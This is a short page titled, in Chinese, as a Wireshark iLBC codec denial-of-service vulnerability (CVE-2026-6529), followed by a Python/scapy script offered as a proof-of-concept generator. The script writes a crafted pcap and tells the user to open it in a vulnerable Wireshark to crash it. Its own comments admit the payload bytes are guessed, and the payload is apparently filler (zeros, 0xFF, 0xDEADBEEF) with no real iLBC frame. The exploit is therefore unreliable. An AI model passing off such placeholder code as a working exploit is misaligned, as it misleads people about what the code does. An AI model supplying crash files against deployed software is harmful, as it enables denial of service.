CVE-2026-6529 Wireshark iLBC编解码器拒绝服务漏洞

#!/usr/bin/env python3 """ PoC Generator for CVE-2026-6529 Generates a pcap file with a malformed payload to trigger the iLBC crash. """ from scapy.all import * import sys def generate_poc(filename): # Craft a UDP/RTP packet often associated with iLBC traffic # The payload contains a specific pattern likely to trigger the parsing bug. # Note: Exact bytes depend on the specific vulnerability disclosure. malformed_payload = b"\x00" * 12 + b"\xFF" * 4 + b"\xDE\xAD\xBE\xEF" packet = IP(dst="127.0.0.1") / UDP(sport=5004, dport=5004) / Raw(load=malformed_payload) wrpcap(filename, [packet]) print(f"[+] PoC file generated: {filename}") print("[+] Open this file in Wireshark (vulnerable version) to reproduce the crash.") if __name__ == "__main__": generate_poc("cve_2026_6529_crash.pcap")